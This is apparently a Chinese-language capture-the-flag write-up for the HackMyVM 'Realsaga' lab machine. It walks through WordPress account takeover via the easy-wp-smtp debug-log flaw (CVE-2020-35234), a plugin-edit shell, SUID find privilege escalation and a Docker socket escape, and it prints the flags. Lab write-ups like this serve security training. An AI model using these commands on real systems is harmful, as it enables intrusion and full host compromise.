<h1>Realsaga.</h1>
<blockquote>
<a href="https://hackmyvm.eu/machines/machine.php?vm=Realsaga">https://hackmyvm.eu/machines/machine.php?vm=Realsaga</a>
</blockquote>
<img src="/post-images/HackMyVMRealsaga/image.png" alt="image.png">
<h2>Recon</h2>
端口扫描
<pre><code class="hljs language-bash">➜ Realsaga nmap -sP 192.168.56.0/24 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 15:42 CST
Nmap scan report for 192.168.56.1
Host is up (0.000091s latency).
MAC Address: 0A:00:27:00:00:05 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.000047s latency).
MAC Address: 08:00:27:41:E9:5B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.107
Host is up (0.00017s latency).
MAC Address: 08:00:27:ED:38:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.80 seconds
</code></pre>
<pre><code class="hljs language-bash">➜ Realsaga nmap -p- -n -Pn -sV 192.168.56.107 -min-rate 10000
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-15 15:43 CST
Stats: 0:01:55 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 50.00% done; ETC: 15:46 (0:01:54 remaining)
Nmap scan report for 192.168.56.107
Host is up (0.000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
25/tcp open smtp?
80/tcp open http Apache httpd 2.4.29
MAC Address: 08:00:27:ED:38:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host: localhost

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 173.42 seconds
</code></pre>
枚举 <code>HTTP</code> 服务
<img src="/post-images/HackMyVMRealsaga/image1.png" alt="image.png">
<pre><code class="hljs language-bash">➜ Realsaga whatweb http://saga.local 
http://saga.local [200 OK] Apache[2.4.29], Bootstrap[6.1.1], Cookies[_wpas_session], Country[RESERVED][ZZ], Email[info@netwire.loca,info@netwire.local], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.56.107], JQuery[3.2.1], MetaGenerator[Powered by Slider Revolution 6.3.2 - responsive, Mobile-Friendly Slider Plugin for WordPress with comfortable drag and drop interface.,Powered by WPBakery Page Builder - drag and drop page builder for WordPress.,WordPress 6.1.1], PoweredBy[Slider,WPBakery], Script[text/html,text/javascript], Title[SAGA Helthcare &#x26;#8211; We Take care of your helth!], UncommonHeaders[link], WordPress[6.1.1], Wordpress-Contact-Form[7.5.4.1]
</code></pre>
<ul>
<li>操作系统/Web服务器: Ubuntu Linux 上的 Apache 2.4.29。</li>
<li>CMS (内容管理系统): WordPress 6.1.1。这是一个相对较新的版本（2022年底发布），但这并不意味着它是安全的，重点应放在插件上。</li>
<li>IP 地址: <code>192.168.56.107</code> (这通常是 VirtualBox Host-Only 网络的地址)。</li>
</ul>
<hr>
上 wpscan，能扫出来很多漏洞，但是太多了，挑了几个 RCE 的漏洞进行测试，但是资料很少，并且一般是要登录后用于权限提升的
<pre><code class="hljs language-bash">.... 太长了不放
</code></pre>
记得群里之前有个老哥打 <code>wordpress</code> 用的是 nuclei，并且速度比 <code>wpscan</code> 还快，这里也尝试一下
扫出来两个漏洞 <code>CVE-2023-5561</code> 以及 <code>CVE-2020-35234</code>
<pre><code class="hljs language-bash">➜ Realsaga nuclei -target http://saga.local -t ~/Desktop/Tools/nuclei/nuclei-templates-10.3.5/http/cves

 __ _
 ____ __ _______/ /__ (_)
 / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.6.0

 projectdiscovery.io

[INF] Current nuclei version: v3.6.0 (latest)
[INF] Current nuclei-templates version: v10.3.5 (latest)
[INF] New templates added in latest release: 57
[INF] Templates loaded for current scan: 3518
[INF] Executing 3518 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 32 (Reduced 24 Requests)
[INF] Using Interactsh Server: oast.fun
[CVE-2023-5561] [http] [medium] http://saga.local/?rest_route=/wp/v2/users&#x26;search=@ [route="?rest_route=/wp/v2/users&#x26;"]
[CVE-2020-35234] [http] [high] http://saga.local/wp-content/plugins/easy-wp-smtp/
[INF] Scan completed in 36.863887627s. 2 matches found.
</code></pre>
<h2>CVE-2020-35234</h2>
<blockquote>
WordPress 的 easy-wp-smtp 插件 1.4.4 之前的版本存在管理员账户被盗用的风险，该漏洞已于 2020 年 12 月被公开利用。如果攻击者能够访问 <code>wp-content/plugins/easy-wp-smtp/</code> 目录，就能找到一个日志文件（例如 #############_debug_log.txt），其中包含所有密码重置链接。攻击者可以请求重置管理员密码，然后利用日志文件中找到的链接进行攻击。
</blockquote>
正好可以进行访问
<img src="/post-images/HackMyVMRealsaga/image2.png" alt="image.png">
寻找管理员邮箱
<img src="/post-images/HackMyVMRealsaga/image3.png" alt="image.png">
在忘记密码页面测试之后，发现 <code>admin@netwire.local</code> 邮箱是存在的
<img src="/post-images/HackMyVMRealsaga/image4.png" alt="image.png">
刷新日志文件，得到重置密码链接
<img src="/post-images/HackMyVMRealsaga/image5.png" alt="image.png">
重置密码后，可以正常进行登录进入后台
<img src="/post-images/HackMyVMRealsaga/image6.png" alt="image.png">
到后台就是标准的后台 <code>GetShell</code> 了，写插件弹 <code>shell</code>
这里修改 Akismet Anti-Spam 插件
<img src="/post-images/HackMyVMRealsaga/image7.png" alt="image.png">
修改上传后，点击启用即可
<img src="/post-images/HackMyVMRealsaga/image8.png" alt="image.png">
<h2>提权</h2>
<h3>信息收集</h3>
进来后，我们能发现我们在容器里面
<pre><code class="hljs language-bash">www-data@saga:/var/www/html/wp-admin$ ip add
1: lo: &#x3C;LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
 inet 127.0.0.1/8 scope host lo
 valid_lft forever preferred_lft forever
4: eth0@if5: &#x3C;BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
 link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
 valid_lft forever preferred_lft forever
</code></pre>
可以读 <code>user.txt</code>
<pre><code class="hljs language-bash">www-data@saga:/home/dev$ cat user.txt 
ad7338854b85303c222cbbf3d4290353
</code></pre>
查看特殊权限文件
<pre><code class="hljs language-bash">www-data@saga:/var/www$ find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/umount
/bin/mount
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/find
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
</code></pre>
拿到容器 <code>root</code> 权限
<pre><code class="hljs language-bash">www-data@saga:/var/www$ /usr/bin/find . -exec /bin/bash -p \; -quit
bash-4.4# id
uid=33(www-data) gid=33(www-data) euid=0(root) groups=33(www-data)
</code></pre>
可以拿到一个假的 <code>root.txt</code>
<pre><code class="hljs language-bash">bash-4.4# cat root.txt 
Great Work .... But This Is'nt the REALSAGA Jump In And TryHarder !!!
</code></pre>
<h3>Docker 逃逸</h3>
Docker 逃逸文章：<a href="https://xz.aliyun.com/news/17111">https://xz.aliyun.com/news/17111</a>
手动测试到 Socket 逃逸的时候发现存在 <code>Docker.saga</code> ，这里应该挂载在的是<code>docker.saga</code> 而不是 <code>docker.sock</code>
<img src="/post-images/HackMyVMRealsaga/image9.png" alt="image.png">
上 CDK 进行检测，提示存在
<img src="/post-images/HackMyVMRealsaga/image10.png" alt="image.png">
直接用 CDK 上面的利用会提示未能获取创建容器 ID
这里根据上面的文章进行手动利用，并未 Docker 客户端默认只会去连接 <code>/var/run/docker.sock</code>。
既然该靶机将 Socket 文件重命名为了 <code>/var/run/docker.saga</code>，你需要显式地告诉 Docker 客户端去连接这个非标准路径
开始逃逸
<pre><code class="hljs language-bash"># docker -H unix:///var/run/docker.saga images
REPOSITORY TAG IMAGE ID CREATED SIZE
saga latest 4bd60acdea69 13 months ago 1.7GB
ubuntu 18.04 f9a80a55f492 2 years ago 63.2MB

# docker -H unix:///var/run/docker.saga run -it -v /:/tmp ubuntu:18.04 /bin/bash
root@0b00f467a68d:/# id
uid=0(root) gid=0(root) groups=0(root)
</code></pre>
成功挂在到宿主机根目录，读 <code>root.txt</code>
<pre><code class="hljs language-bash">root@0b00f467a68d:/tmp/root# cat root.txt 
4aa171ec191d90249c0f7d28d8f589cc
</code></pre>

Realsaga. https://hackmyvm.eu/machines/machine.php?vm=Realsaga Recon 端口扫描 枚举 HTTP 服务 操作系统/Web服务器: Ubuntu Linux 上的 Apache 2.4.29。 CMS (内容管理系统): WordPre...

HackMyVM - Realsaga

Machine - victorique